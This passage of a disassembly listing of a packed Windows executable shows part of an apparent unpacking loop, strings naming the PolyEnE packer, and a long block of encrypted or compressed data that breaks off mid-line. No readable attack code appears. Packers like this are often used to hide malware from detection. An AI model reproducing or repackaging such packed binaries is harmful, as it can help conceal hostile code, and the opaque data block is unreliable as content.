XREF: .data:0042163Bj and eax, 3Fh add ebp, 6 jmp short loc_421662 ; --------------------------------------------------------------------------- loc_42165C: ; CODE XREF: .data:0042163Ej and eax, 0Fh add ebp, 4 loc_421662: ; CODE XREF: .data:00421646j ; .data:00421650j ... inc eax mov esi, edi add ecx, 2 sub esi, eax lea eax, [ecx+edi] cmp eax, ebx jnb short loc_421694 rep movsb mov ecx, ebp pop esi shr ecx, 3 and ebp, 7 add esi, ecx jmp short loc_421602 ; --------------------------------------------------------------------------- loc_421680: ; CODE XREF: .data:00421608j cmp edi, ebx jnb short loc_421695 mov ecx, ebp mov eax, [esi] inc edi shr eax, cl inc esi mov [edi-1], al jmp loc_421602 ; --------------------------------------------------------------------------- loc_421694: ; CODE XREF: .data:0042166Fj pop ecx loc_421695: ; CODE XREF: .data:00421682j mov eax, edi pop edi sub eax, edi pop ebp retn ; --------------------------------------------------------------------------- loc_42169C: ; CODE XREF: .data:004215E7j jmp short near ptr dword_4216D8 ; --------------------------------------------------------------------------- aUnableToFixI_0 db 'Unable to fix importtable.',0 aPolyene_0 db 'PolyEnE',0 aMessageboxa_0 db 'MessageBoxA',0 aUser32_dll_0 db 'USER32.dll',0 dword_4216D8 dd 24Ah dup(0) ; CODE XREF: .data:loc_42169Cj _data ends ; Section 2. (virtual address 00022000) ; Virtual size : 00014AA2 ( 84642.) ; Section size in file : 00014AA2 ( 84642.) ; Offset to raw data for section: 00022000 ; Flags C0000020: Text Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _pdata segment para public 'CODE' use32 assume cs:_pdata ;org 422000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_422000 dd 8000005Eh, 97770000h, 9770AE98h, 68DB675Fh, 0BEA636A8h ; DATA XREF: .ex_cod:off_4386B8o dd 234F1BA1h, 77BDB22Bh, 0B8631C4Ah, 2469B192h, 0D0ADCBD9h dd 98F33560h, 0D9DC7CC4h, 32D8F548h, 0BC5DF1D9h, 728A510h dd 0AC6E6783h, 7D438B8Bh, 0BAD87F81h, 2728547h, 0D2B1897Fh dd 4514CEFh, 2A7AC1C3h, 0E6039AFEh, 0FBE88E57h, 0E4E52A64h dd 450420B5h, 521796C1h, 0BAA1A5FAh, 34828A03h, 0CA8B601Ah dd 72DFB22Ch, 420847FCh, 2BE8E13Dh, 0CCF85E2Fh, 8ADF8F2h dd 0F1FD77Ah, 6FB2FE34h, 858FDB5Bh, 54CE96CEh, 0DD9D5241h dd 30F275EDh, 0F9F24DCDh, 0BBC8FE6Bh, 6A216E8Dh, 2738DE31h dd 94D1863Bh, 0CAFBECA4h, 0DC2086C5h, 71F33F89h, 0DCCB9CCCh dd 774FC165h, 0E7B976B0h, 0FFF61B8Ah, 0EA1C4909h, 0B7402EF9h dd 0E3665EE5h, 0C74426F3h, 682BE5B3h, 6A67A4B4h, 0C1CD5730h dd 592D64B3h, 0F1E5F9F6h, 0F66A2433h, 1841C3AFh, 31C7DF9Ah dd 1EB510D4h, 4F3D547Ch, 12693130h, 0D10C2422h, 0ED365AE9h dd 3D334C60h, 0CF6CE541h, 4540D61Dh, 0F675F3D2h, 7E3102E4h dd 2B793C4Dh, 8620F6ABh, 0DF8E2B0Ah, 3E2AE0FAh, 2DEBDC13h dd 0D01E551Ah, 0A32D5305h, 0A95610A1h, 0F59BCB30h, 660C1113h dd 3A28D8EFh, 75AFADA5h, 0AD810344h, 0DD6B677Fh, 0BD193F6Fh dd 0AE06D6BAh, 9EFE1B8Eh, 0D278ADD7h, 32707DDFh, 0E9FE675Ah dd 56CE49h, 16DB465Bh, 0BA065BE2h, 74D65E4h, 657E1175h dd 896E51CCh, 7DD3D269h, 0C3E53266h, 0F9D9CC39h, 9752D12Fh dd 0C7A92FB0h, 0E31A4237h, 0FEA65BDDh, 8F8740C2h, 0B50D7EB8h dd 52A58E0h, 0D310EEAAh, 0C54B4D8Ch, 7E1C15BEh, 0B446F2F0h dd 4653146Ah, 9E6FE1CEh, 0DCA4B2BEh, 7825D80Ah, 6B032AADh dd 30F02BE0h, 48519E01h, 949E2B95h, 92CEC413h, 701FE6FDh dd 0EC411E2Bh, 56E4EC33h, 3F9A9371h, 0D2F8052Bh, 0DAAFB7CAh dd 80BD9D7Ah, 0C7BE17EBh, 0CA15CBD8h, 48028DEDh, 0EE4548B1h dd 4371F88Eh, 3D7D556h, 0FC3B4FECh, 0E3975984h, 7B9D0B3Bh dd 67C019E9h, 34F4EF63h, 0D399AF1Ah, 2926B856h, 0A81F0A25h dd 6BFB01C7h, 0CA1175E6h, 0D2F273DFh, 27F61594h, 43276534h dd 5DD67558h, 179BA7BEh, 6C4651ACh, 0A493A656h, 70EDC7E4h dd 219C7226h, 5E10DF3Ch, 77B54DEBh, 0DC2257A5h, 6BF648C1h dd 0CA61D68Ah, 914F615Bh, 3F0F0ABBh, 98A1F7h, 376D6B8Ch dd 0D3CB729Dh, 784052FEh, 43069972h, 0DE940B01h, 0EE8FD925h dd 0D1B5D94Bh, 0D923713h, 0A0DF6F58h, 3A57AC80h, 370B383Ah dd 8CAB7534h, 2A03D068h, 0AF046569h, 0B9E66264h, 980060E9h dd 0FED9186Bh, 0C04CD8E4h, 0F6C04770h, 0AC878973h, 0CC084D90h dd 88A29235h, 93F3EC5h, 31F18752h, 1DC44C8h, 0B63D303Dh dd 6C78693Dh, 71A7B91Fh, 0DCD72FE3h, 3C603D77h, 0B9059A70h dd 0CDC3AEBCh, 9148DB3Ch, 9A1B3950h, 3E4AD6F0h, 8506FAh dd 0E6D06F95h, 0BC89798Ah, 0ACCDEDFh, 0D2E2B59Ch, 7F139BFDh dd 0B1E8592Eh, 0B7F159CFh, 6C92BB39h, 0F16B1436h, 6728EC0Bh dd 10CE0720h, 0C774C1Fh, 0A31E1863h, 1820B16Eh, 1D2FBC25h dd 39960107h, 0A59D629Fh, 58199490h, 8E76BC29h, 3537F81Bh dd 523AFD17h, 7FB184F2h, 93F613FDh, 88889D8Eh, 6C41C25h dd 78F3678Ah, 0D51A0E4Fh, 0EBE10C61h, 48E3248Fh, 17EE3A1Eh dd 6B493C4Fh, 9819E602h, 1D957C0Ch, 0DD9EA4E2h, 4FFBB31Dh dd 0E52E19E3h, 0DEB178ECh, 0DF274DBh, 0B8211587h, 38DD31F2h dd 5C9BEB1h, 0C7D575EFh, 3BA2ADDAh, 0D77D7F08h, 6EB50704h dd 396865D7h, 0DC9A84B5h, 5D46BF16h, 79C634FDh, 0F08EDBD4h dd 73FFBE0h, 3B98BB88h, 0D93650D3h, 0D160E652h, 15980CECh dd 6F60F964h, 1ABA7782h, 3EB8FE1Eh, 7D890084h, 91040A5h dd 0F78018Ch, 79F8AAC2h, 41E496B4h, 8C3CE7D1h, 0AB2B2371h dd 22F23E18h, 67062267h, 87A4E7FEh, 0BE1D7816h, 3C26CABFh dd 0B008442Eh, 0A2CAF2D7h, 0F8FDEE35h, 0FEEBACB0h, 8AE4339Eh dd 32ABA75Ch, 0BF666306h, 359B54E6h, 7760C9E0h, 20C5B55Bh dd 0F53550FBh, 0AD6B95A7h, 0EBB46571h, 7CED8FE0h, 3C8CCB0Fh dd 9FDE2637h, 3CA18CA2h, 0F5D04518h, 0E64D2A9Dh, 0A31A2653h dd 33C9F9F4h, 0E8E76AFDh, 0ACD37094h, 5A652237h, 0F5F35472h dd 2AEB7D87h, 0EE53EC94h, 3D7F330Ch, 0D1EEB12Fh, 4427E6A6h dd 5C3FC486h, 0D7CDAB49h, 21FA62F3h, 55BAC6C8h, 23C5468Dh dd 0B0E00589h, 6425F7A9h, 0A626050Ah, 0BAAEDD0Ah, 7AE742CEh dd 0E9CD030Ch, 0E049173Dh, 9F0C1621h, 0E259FF57h, 3F76C392h dd 0D3FCD85Ah, 0E1D4A53h, 0F4F47B04h, 6D6C0BF5h, 3A18C238h dd 0D5351C38h, 957A8FCFh, 0FFE845CAh, 2994CD08h, 9B204B21h dd 30DBC5FBh, 0EF3B0919h, 0D826DACAh, 297D6F44h, 0E8B6A8A3h dd 0FDB2082Ch, 7553EB19h, 0E9F22C33h, 0ABFC9AE8h, 0FFE129ACh dd 33A8439Ah, 8764066Fh, 0A94683C5h, 5C50DD5Bh, 29FB926Ch dd 0A7DCD50Eh, 4C2873BAh, 0C9587BAFh, 0EA5B6C3Ch, 4A5F68D2h dd 98C89FA8h, 0F36DB9E1h, 4F54238Ah, 0E3359EF7h, 0C84BAA55h dd 60E33423h, 8458ECF7h, 0B2F2BD83h, 10595418h, 904FF19Fh dd 0E3F90F70h, 0A40B792Bh, 4546218Eh, 300506BAh, 0DFFE08F3h dd 95BEC4BCh, 6709A30h, 0A9AA80ABh, 0CE3F82C4h, 1977B623h dd 1A60D454h, 656C4BD3h, 54E18AEh, 0BBC528A0h, 51B39238h dd 80B3D110h, 0FBDABC2Ch, 0FAD0E079h, 2C27023Ah, 0F2AAC2C5h dd 0CDC4932Fh, 0EF5FF70Fh, 0E83D1D55h, 0E2A18284h, 1648D49Eh dd 0B8CDB298h, 88DF56C1h, 8BFCF7B0h, 7A63CBCEh, 851D508Eh dd 0CF0BA043h, 0DD028063h, 0BF2FAE96h, 0DDC6A826h, 857A490Eh dd 0E1956B67h, 7200E181h, 8F20AB7Bh, 86F0C692h, 51B3B03Ah dd 0FC7588D1h, 2784A039h, 0CE0BFB82h, 0F8D845C3h, 0D97AE801h dd 13C934EDh, 18E20C72h, 23572A7Bh, 7B2F5E3Bh, 11DFF4C7h dd 99130C9Ah, 93F4746Ah, 0CAAB557Fh, 301829FDh, 6FCBD8C8h dd 0CFB74A56h, 2892B58Fh, 0A80BE815h, 0C25DFACDh, 1287A87Bh dd 98E9AA00h, 98528729h, 2F7C4524h, 94521495h, 0A91D3AE3h dd 0D1D529C1h, 68005738h, 58E6A4E3h, 4E2A3297h, 0B4DF9445h dd 0B2CF0DB0h, 5BB9953Dh, 7EDD8E8Bh, 252B7C77h, 0C9219DD1h dd 6245956Eh, 688F61B5h, 0E30665ECh, 0A84CFC73h, 0FD0F9542h dd 99E9ED8Eh, 305F0B46h, 573FAE87h, 0F8E76D51h, 42EF3D1Ch dd 3BD93D12h, 1C804928h, 7E04BB4Eh, 0CD55F12Eh, 4E8803B8h dd 778D9D28h, 71215131h, 70580AACh, 4E71B3B1h, 382A9EF2h dd 559C07BCh, 2B50230Dh, 62C5BFECh, 91164B7Bh, 0D6EC55E3h dd 0E211732Bh, 1193551Ch, 0C50141E3h, 0FBA26631h, 7C4CC95Fh dd 53C5E8B0h, 465981F5h, 598B92AAh, 19DC1A3Dh, 3C1EAE1Ch dd 0AFF00CBBh, 7ABB83F7h, 7352A439h, 74AC8B3Fh, 40C54A32h dd 916FBC7Fh, 0E02DF4F1h, 0DDD2AD93h, 0E9B47FD7h, 5227DFF7h dd 99E1B642h, 815F6566h, 129C11A5h, 0C8EB98B6h, 2B452F11h dd 47FD8ECFh, 9D8DEFD4h, 12C56103h, 92B0D265h, 3791A058h dd 0E0E91809h, 4EE6DCA2h, 0C6123E43h, 4578303Ah, 2895767Eh dd 0BAA93B8Fh, 2ADD8BB7h, 2E7CEEEDh, 0EAD6B9BDh, 4099198Fh dd 0E86A3CB8h, 0AE737431h, 0A778DEC9h, 6F8906F9h, 11D0F87Ah dd 0BD6B9537h, 5D3CEC78h, 0DBCBF2F2h, 0ED10F386h, 799E26DCh dd 4EDD262Dh, 0AFBD7DC7h, 0F0513824h, 0F6DDF2BCh, 4A04D815h dd 5E0FFA69h, 0B2B0CA49h dd 2DB90452h, 0FA6603A3h, 26A38AC2h, 0C38FD754h, 116078A7h dd 0EEDD4AB2h, 0C255904Ah, 80F62FFBh, 989840ECh, 5148AA68h dd 531ED765h, 0A61AA503h, 0C6EB113Ch, 104C37ECh, 0C4F03F9Bh dd 4FFDE876h, 0B49EB69Fh, 2AE743EDh, 2BB3D362h, 283613BAh dd 70E3F3B3h, 33E74D12h, 11205AC8h, 2E7D637h, 0AE241846h dd 0C2D0FA08h, 0CACFB524h, 0B0564E06h, 76E4922Ch, 44C1112Fh dd 0A444B06h, 0C9B19C8Eh, 0A54BCFD3h, 9A9B058h, 0BD2C1A5Fh dd 59574495h, 0F3A82AA1h, 0BECCF9AEh, 0EEB2EDB2h, 7D43536Fh dd 8BC52AACh, 504F6BDDh, 90888ADh, 0CDA169ABh, 0F7E07D9Bh dd 8B66F2D4h, 949D5A90h, 0DD102FE2h, 934F1B46h, 47319077h dd 38FC6C0h, 0AF2C0114h, 62004110h, 18762E9Eh, 8D1F638Ch dd 3823D5BCh, 0FE3C303Ah, 2E6E1731h, 18CA94C5h, 0D183EC18h dd 559F59CCh, 0BD46043Ah, 94CB1410h, 8009A3Ah, 944E77E5h dd 5AA714E3h, 4ED602BEh, 86D86428h, 9611ED00h, 2F8E42CEh dd 696D2441h, 0B59D96BFh, 0B7EDE02Eh, 0C2B28AB4h, 89800560h dd 0FFD05782h, 0A811795Eh, 4E71C662h, 0DDB8DCAEh, 3D9FCE63h dd 0F0388634h, 4A1004EBh, 0FDA4F068h, 0DBBE3526h, 38CE3D38h dd 767B5657h, 3015609Bh, 7FF2A67Eh, 6D44EC96h, 0F311A44Ch dd 0E8BA89C3h, 8E637DC8h, 8CF5A428h, 2F7DAC79h, 0A8CDADE6h dd 0B43F82C4h, 6127AADDh, 287352A9h, 14E2A4E2h, 413D2216h dd 8CDFD2FEh, 0BCF19247h, 0B8B0AF15h, 0EC95CB0Ah, 0CAB145Dh dd 0D3958654h, 1F5CE9F8h, 407A4C21h, 54D3DF6Dh, 63F82EE0h dd 7163690Eh, 96396F2Dh, 0BA53F639h, 0D4DD25CBh, 0FE293934h dd 0A28E4396h, 17B872B5h, 71FDAF17h, 92B81287h, 9E6D21A0h dd 78161EA0h, 86DC6DE6h, 8114E30Ah, 3B09AE09h, 15FB70FBh dd 6DC5AD6h, 0B92F0328h, 0EFDE4208h, 3801FAA3h, 32B49F23h dd 7A07C124h, 7E3E39E7h, 95F6DAAFh, 7C5C120Eh, 0C03AC592h dd 0B9087DF3h, 70FAF3ECh, 0FCF355EEh, 5743E3h, 0BACD9CBCh dd 14B7CD6Ah, 2485033Fh, 9C59A27Ah, 6319D575h, 83E90800h dd 8AFE854h, 4DAF78C8h, 0C63CF7E6h, 319BE2EEh, 458F166Bh dd 3D9F7DFCh, 602F6D7Bh, 607AE781h, 5DE23575h, 84473619h dd 0A9F6A3A0h, 188638F2h, 8037BF68h, 0F3CE796h, 4B6CBC26h dd 0CD5AB9EBh, 589DEBEAh, 2F4F8CFFh, 0E6FF7A9Ah, 4EDF35CFh dd 0A6FA1D66h, 8DA1A30Fh, 0CC3CFC50h, 2FCB09Eh, 0A238C9C9h dd 92322A3Bh, 9943B096h, 0D4CC0338h, 4B682115h, 99C48A31h dd 36DD2BA0h, 9EAF3198h, 92014DC3h, 6300E8AFh, 206CEC6h dd 123A0050h, 33449975h, 0E14FF98h, 0F0346A9Eh, 270F7B75h dd 8E7360A7h, 3F89E66Ah, 0C1FAC714h, 0AD16C038h, 16078C5Eh dd 10E0E00Ch, 5DF826AEh, 86702D2Fh, 61CCA0C7h, 2BABD396h dd 0DA5DE654h, 22B61D53h, 0C00784EAh, 6E931FC5h, 88B9CD25h dd 0A08606FFh, 76D1DBC7h, 0F00E001Fh, 0E6811BCFh, 105994A5h dd 17F60132h, 879961D2h, 201F673Ah, 0C914BCAh, 2DB304B1h dd 1ACFB332h, 57AA20A6h, 3C9ADA64h, 0B2A1EC67h, 0CCE2CCFEh dd 0C15EF889h, 754B3845h, 0B1A89E19h, 0E450E192h, 4CF21B7Ah dd 908FCEC4h, 538B5D10h, 0A59763EDh, 4B133154h, 0E78F64D7h dd 0F487B359h, 4ED7DE5Bh, 3BF677BFh, 8B7F8D26h, 1F72FA05h dd 0E49E0E63h, 0F9111FE3h, 0A675432Ch, 1F88997Dh, 0AFF1673Dh dd 0C8700CCFh, 0EA6FC66Bh, 1C8C033Dh, 1CC9C029h, 55628F2Eh dd 2065F117h, 7CB0118h, 5F9BB774h, 29044F4h, 98D01F2Ah dd 54716952h, 0DA6AAEE4h, 69D6D9FEh, 0D2D1C212h, 59E6B365h dd 9E94CD7Ah, 2A5B45AEh, 3A93AA17h, 97FA296Bh, 5FC82633h dd 794B0400h, 0B666CD91h, 362F24F9h, 73BA7944h, 9240CE25h dd 7DC9D3C1h, 0F48ABD1Bh, 0C0A35E2Ch, 0D94CC9DFh, 9F913EC0h dd 52A723B4h, 581FCCC4h, 0C1D55265h, 0C1D9E29Ah, 6151F2EFh dd 0E80C975Fh, 0DAFD35D0h, 16512162h, 0CC546AE2h, 0BFA4136Fh dd 253DB3D5h, 0E5495401h, 836F6736h, 0C976FB2Ch, 33D4B29Dh dd 2A3026C5h, 0E03A24DDh, 979EDA72h, 73A64DEBh, 95EB1A83h dd 0DF83D1AEh, 4CE90AD7h, 511E7735h, 0C5BADBC5h, 0E4C7A497h dd 2ED0A121h, 33E2A23Ah, 6442F456h, 1A704CC3h, 75655B69h dd 4571306Bh, 0F1735BAAh, 0B8837E61h, 0E1230EF3h, 1BE88670h dd 0CD78B344h, 506B94C3h, 4F344A65h, 0FE7DC3F2h, 17510DC6h dd 5A61770Fh, 15DDDFBBh, 0B5AB13D9h, 0BE2DCE99h, 0E229F153h dd 0CF424841h, 7EBA3ADDh, 0B7AF0B90h, 0E1E7BA71h, 0D383EBBAh dd 7CB9712Bh, 0D6090B3h, 0CA7D4DAAh, 0CB5826DBh, 0EB3A507Ah dd 3E40B27Eh, 0ADABC90Dh, 9B3650CAh, 0F01C071Dh, 0A60AA093h dd 0E0EB2882h, 89FD06Bh, 3C69907Bh, 0F38E6E68h, 0B57B0ED9h dd 0A27C8D2Eh, 54954A7Bh, 3A5A1E8Dh, 0DEF9F958h, 59CBCA96h dd 4CF0ECE1h, 0BC710FFFh, 0EEF5BE45h, 7E139C5Ch, 0A8D74587h dd 45C3DEE4h, 2BBB405Fh, 642F437Ah, 0ECCBFBA9h, 0B143300Bh dd 0E4172249h, 0A532B4F0h, 0BE983FEEh, 211DC095h, 1E455A10h dd 0CEB3F413h, 5901A5B5h, 0F04D7D52h, 0DC735440h, 445D9B9Eh dd 7C42156Bh, 6EF489Fh, 58A7842Eh, 2E6EC885h, 146DA5Ah dd 7AE4CF0Eh, 64960C8Eh, 1F64111h, 0BD620D4Ah, 0DD605642h dd 0C1E46802h, 119EA86Eh, 0D9036C25h, 0E70C1C2Ch, 0E7728DBFh dd 9F07CF4Fh, 7CF014D0h, 0A4B568FDh, 238DD611h, 773DD2B0h dd 2750091Ch, 0A3260432h, 0A004CDECh, 1CD78F50h, 2E48B93Bh dd 6B61E325h, 422FF9E2h, 0C487D5Eh, 0B6DD7104h, 9C992B5Dh dd 0F25BCA01h, 7A258586h, 3C0F057Dh, 50C73FF3h, 784EEBDEh dd 71BB28B0h, 7FF6BDEEh, 0C4EE28B9h, 0EE69D75Bh, 54EE1634h dd 22BB5B0Bh, 826D680Ch, 0A2EA13Fh, 97930F2h, 205BF14Ch dd 976384B3h, 0F1386CF0h, 0BC19EA77h, 0E3AC511Bh, 0C63188B6h dd 0B26FB81Ch, 4F7221E7h, 0B8C29CF6h, 0E62E470Bh, 33C5D11Fh dd 9BD880A9h, 6E1D704Ah, 0FB3A1C72h, 0ED572205h, 0A987BF03h dd 83B8AB86h, 0D130A445h, 3982522Eh, 96C57DFh, 0A8EDB0F7h dd 401B59FDh, 1CAB2FE1h, 411FF789h, 1B1511DFh, 84F6F3F0h dd 31A9D6h, 69A9E2Bh, 0AF55BEBBh, 32B75443h, 4383378Eh dd 9613ACD2h, 0C7F26415h, 9E0973EEh, 0C5A25ECDh, 0AEA382E5h dd 6BD68896h, 0D6FA8119h, 0D4D7EBFCh, 11B52749h, 0B069987Ah dd 6AA02431h, 34F4E38h, 0E2812954h, 0AE55BB24h, 0CFF6D225h dd 600161B6h, 266CA8ABh, 0C45A949Dh, 0E41BDB79h, 2968530Ah dd 0F0F8635Fh, 643F07ECh, 0E7A91120h, 987CA8Bh, 466E511h dd 2F1EF26h, 2ED57C8Ah, 55266E8Eh, 0A3B86693h, 11D9C707h dd 0EA4A981Ah, 1A05779Dh, 7AD873DAh, 14D201BFh, 7CB6E967h dd 1A4E8551h, 0AFF1B27Ah, 32ED4BBBh, 38CF841Ah, 89953154h dd 654FF480h, 0DC430B45h, 0FE3ABF2Eh, 0E4F1EE90h, 0E055B98h dd 0BC4000F5h, 0E1FE0600h, 14F55606h, 0A11E2863h, 588007FDh dd 0D8127634h, 68035D5h, 0BB1D16A6h, 0FAA1DDCCh, 0E3B6CC89h dd 0C2ABFF6Eh, 401C64Ah, 30AFA8C4h, 45D184F6h, 0A56BDC63h dd 7FC1ECC4h, 1CC9CF88h, 5066C1FFh, 0DEEDD837h, 34E94247h dd 723B4139h, 0A3521B7Bh, 745FCBB3h, 0FD9E1634h, 1DD90C55h dd 7162CCF3h, 9151571Dh, 929D2C9Bh, 0F29939A6h, 4C2B361Fh dd 18787EBFh, 5CF5112Eh, 0B1221497h, 3666952Dh, 59CEF054h dd 4CCBAF4h, 1C188949h dd 0B53FFA09h, 7757C6Dh, 7CA9C99Eh, 8CB1F01Bh, 26EB2713h dd 0FCB41564h, 9077E515h, 9A4617A7h, 0C65142C6h, 23BE826Fh dd 5EEB47AFh, 0C506C329h, 0FFE67CFBh, 5BA90A84h, 0E9B5AB55h dd 13E6E14Eh, 316118ADh, 81F30B3Fh, 0DE489E04h, 0D6490C41h dd 91E22D7Fh, 0B9530A2Dh, 1E4E0518h, 6D279A68h, 6E7A286h dd 83872445h, 84AD20A7h, 8399B5F4h, 0AD2E382Dh, 371A1D35h dd 420F8167h, 3F469508h, 8E799764h, 0C1847554h, 65EDF95Eh dd 10D98353h, 850D7987h, 0A4467EEAh, 29C5DCF0h, 6D3838Bh dd 1A58F4B4h, 0BFA7A6D3h, 0D1E4F7FCh, 3D7320DDh, 7018BF56h dd 679E3F6Fh, 0C6B7C185h, 0B1CF2AAh, 8EC9D71Fh, 528D0A88h dd 1C4AC507h, 0F2101696h, 70883391h, 0A838EEAh, 33DB30Dh dd 637B9954h, 0F42BE155h, 0B008DD09h, 0F793110Dh, 9F49F6C6h dd 833D0E4Fh, 3D58F92Dh, 0BE6E3208h, 0F07343D6h, 6F13FB57h dd 0F6A1E29Ah, 0F047344h, 0FC8DCABFh, 0E1621CF8h, 936C3A49h dd 89D5D686h, 0CAC9655Ah, 0E20F6FEh, 0B5F720D5h, 1816627Fh dd 0E256E99h, 0A149D01Fh, 9C1D5D32h, 0F6FA7107h, 5DFD8A7Fh dd 614A008h, 0F5EF51DAh, 8A8F8D8Dh, 0F5ED6900h, 0B0B24C3Ch dd 0A8C32F82h, 0A16DE27Eh, 828D99B4h, 7E267B8Bh, 0ECDEE667h dd 0E1CFD221h, 5866A00Bh, 2D1FDE33h, 0CCCB1FAh, 0B48ED733h dd 3D8859C9h, 8776F640h, 6E3030A4h, 0C3394D78h, 0C91B0072h dd 72FF1B15h, 0DF232755h, 0FAE6876Dh, 0A0D4F4EFh, 0B9BDDB20h dd 0B2395A50h, 0F8C72414h, 0AC3DEB76h, 45FFD875h, 0F1942B22h dd 0D9C6ED4Ah, 0BF3CB117h, 229D4DD9h, 24D5B1C0h, 268CD7FDh dd 0A0E66B89h, 3B07072Ch, 52F93151h, 4451712Fh, 9A57A2E3h dd 0B3CF21F3h, 999D28E5h, 3B1F3FABh, 5B7E0BE2h, 0D527ED43h dd 0AC6A1F19h, 5648DDDAh, 89EE0CE9h, 4B26C6Dh, 134FFDA2h dd 86B4E108h, 674D3664h, 44C0847h, 910A7083h, 0B93DCB9Dh dd 626FA693h, 0CE699A33h, 0F81F41F1h, 67532F83h, 0AD943313h dd 0B4F360Ah, 618783FAh, 97ED43FAh, 3AA7B80Fh, 147BF40Fh dd 0B723ED02h, 5C69340Bh, 414B6F5Dh, 368A022h, 3389DD5Fh dd 5941176Eh, 82E03DCBh, 1303ACB8h, 4C203C37h, 3696B4F5h dd 0A670DD0Bh, 0D46D71A9h, 0C4A1B8B0h, 8ABE4AEEh, 4A0FA052h dd 658A8B33h, 0EEDD8B69h, 2BC9A6A2h, 5E1FD9DBh, 640E676Ch dd 0E16D3ACEh, 35D542EFh, 0C3C9C7AAh, 9CA1C34Dh, 9E9CFFF3h dd 9317EAA7h, 0C1FC390Eh, 3E09B06Ch, 70680F33h, 2EF5002Bh dd 76E11866h, 0FCE966D5h, 829AF4EFh, 0CC5524C9h, 10D9BEAFh dd 0A5312808h, 0EB7080FDh, 216B74EDh, 84588D2h, 0FF06CBDEh dd 0D4437D90h, 0A577F15Ch, 408EE513h, 5405EECFh, 0FD95ADB7h dd 4E4BB7F8h, 2017D39Ah, 2BFA2A4Fh, 0DB37A9EBh, 63A5EB29h dd 1E4FF017h, 89F4CB3h, 0C84361DBh, 0F40E5852h, 12C69A67h dd 0B0E53FF4h, 98400F2Dh, 9C188E31h, 762CABAAh, 0C01BEE88h dd 54F8223Dh, 42015D8Dh, 328C86FEh, 5FB5DD15h, 238FF1E2h dd 6B952CACh, 6305F1B4h, 31D98630h, 6FB73339h, 0D245C6DDh dd 385B43ECh, 0E6DCDAB9h, 4FF1FCF6h, 4FDC1BB2h, 358AF6E7h dd 0C14C7FBEh, 646AEBEh, 2B9397EAh, 80C5DC62h, 9924FF9Ch dd 0FFB37A9Ch, 3B3023A1h, 0FA941284h, 0BDA5E0A3h, 334369D0h dd 68E09B1Ch, 9ED0F7C0h, 2C541Fh, 2CB4231Fh, 0D0C50EE4h dd 0D015CE6h, 0F3DFB5E2h, 941AE113h, 0B80F4A6Ch, 0D2F83EDBh dd 1E1ED83h, 0B17B5EE4h, 5CF22E59h, 0A7A29CFDh, 29979418h dd 0EBA2EA5Fh, 989035DCh, 9D7299BAh, 0C23160B2h, 0AA1B39B1h dd 256C7CF8h, 2A4C54Fh, 0D8A3EE30h, 3E0025C7h, 41A27665h dd 91FBD105h, 55950C39h, 0B221550Ch, 775635D9h, 0BDC6F8DCh dd 0D4D15CA8h, 85F68F39h, 4D190653h, 13959DFh, 35AE3049h dd 7124DD23h, 555C2200h, 0D1E61116h, 5F38B16Bh, 8228D248h dd 0E5E35D65h, 0A60B87B5h, 64DB43BCh, 9DE43CAh, 0CE0B8724h dd 0AD4B563Dh, 33A82088h, 0D2AE58E5h, 4D59CC8Ah, 308C426Dh dd 86C4CD23h, 6B993093h, 0D5ED0972h, 0B4B41747h, 0D838F7F6h dd 0FA870CBCh, 70AEFDD1h, 112EF7D6h, 7A3BB5C2h, 0A51D1238h dd 0EE67D100h, 0B81938C1h, 0E06CBDBCh, 3DD65F43h, 5F8ED2DEh dd 62605C90h, 22ADB86Ch, 50755987h, 0F7B6FCEFh, 15BF70DDh dd 9E0F62ACh, 0ADFC8E8Bh, 1D5FDB2Ah, 0E2BE7973h, 0E0EF986Fh dd 46056E28h, 9DB44753h, 314D7E5Bh, 0BC3F5F2Ah, 4199BDE4h dd 0D17BDC64h, 0D6A54683h, 0C84AAAC7h, 0B67CF9D4h, 0CC617CA6h dd 0AB6C6B4h, 56A0B140h, 0E51338BBh, 0B066FDA8h, 9AB154D4h dd 0BB4828C6h, 0F4A7E01h, 0E6C29DF6h, 0AFC93412h, 55D22DB3h dd 38CEE604h, 0E74F31A4h, 404013FFh, 63C73831h, 92D93F28h dd 3D4EBBCh, 0DEC1C80Ch, 5359E751h, 5FB90646h, 170BB795h dd 3E5EBCACh, 55C59A52h, 0DCA70BA5h, 0E9C49FF9h, 62D0F170h dd 0B357DC57h, 0BAC2606Bh, 2A7A01D4h, 7F023925h, 0CAFD8EF6h dd 3C84A6CBh, 34226990h, 436C4E0Ah, 9A4D52EBh, 3A1C1F42h dd 0C7C23D19h, 4A708AC9h, 9F5D2D71h, 5E598C64h, 0EA4E4EE7h dd 0A12F7Eh, 0F85DE85Bh, 2E6CB542h, 3BF977DFh, 0E19E6482h dd 6D28C2C8h, 0CAC16402h, 0CC337632h, 34436CFBh, 5E650B28h dd 3EA78DD4h, 5CA969EAh, 0B05E2D11h, 4347F4B1h, 0D5D1E16Dh dd 0F053F911h, 8496A357h, 0D7628D36h, 0C75D07F5h, 1A23758Eh dd 64566A80h, 5B4D2F7Ch, 7711E8EAh, 0CA5CC76h, 330CAA63h dd 0F0EB75C7h, 9D26670h, 51AC4553h, 5225C457h, 104444C2h dd 0F1A99536h, 7992FC7Dh, 0B5039195h, 4273FCh, 138DD516h dd 0F615C273h, 0B5A30526h, 0F6F82A29h, 8F0E9BE8h, 0A851352h dd 0C0DE27h, 54EC99C6h, 0BB96C691h, 0EE44D2D9h, 0DC5AA13h dd 0E96CE2A5h, 6909EF68h, 0D145F1Ch, 0B55E607Eh, 0AA8D76F6h dd 876CD1A5h, 7CDD8F68h, 0ECA30BA6h, 0B616712Ah, 0C5FCBC23h dd 0A951B32Ch, 0B2D7F38Eh, 74B638ABh, 9BB23FA1h, 9C852F8h dd 26C5DBF8h, 3A8C513Bh, 9AE15863h, 0D8DCF253h, 5B9BD1FFh dd 0CD9CFBh, 8D32E1B3h, 3CC1D40Bh, 74271E0Ah, 0F5A88E5Ch dd 0F13A97Ah, 8C517EA3h, 39BFC6AAh, 0A1E416B1h, 1914B895h dd 40BB9E76h, 3C656B21h, 0EA4487BDh, 827154A0h, 3FF408BFh dd 4433A563h, 98325483h, 51806A64h, 89B393A7h, 0A314CF61h dd 4C4A4294h, 0B956590Fh, 35F612A1h, 5F27E176h, 0DCDC29CAh dd 1F1FB2C1h, 0E740EDBh, 7E94221Ch, 0D915635Dh, 90A6955Dh dd 4916A2BDh, 45F90FA4h, 2DF04830h, 0DB696D11h, 0E8EA98B7h dd 16F6AD83h, 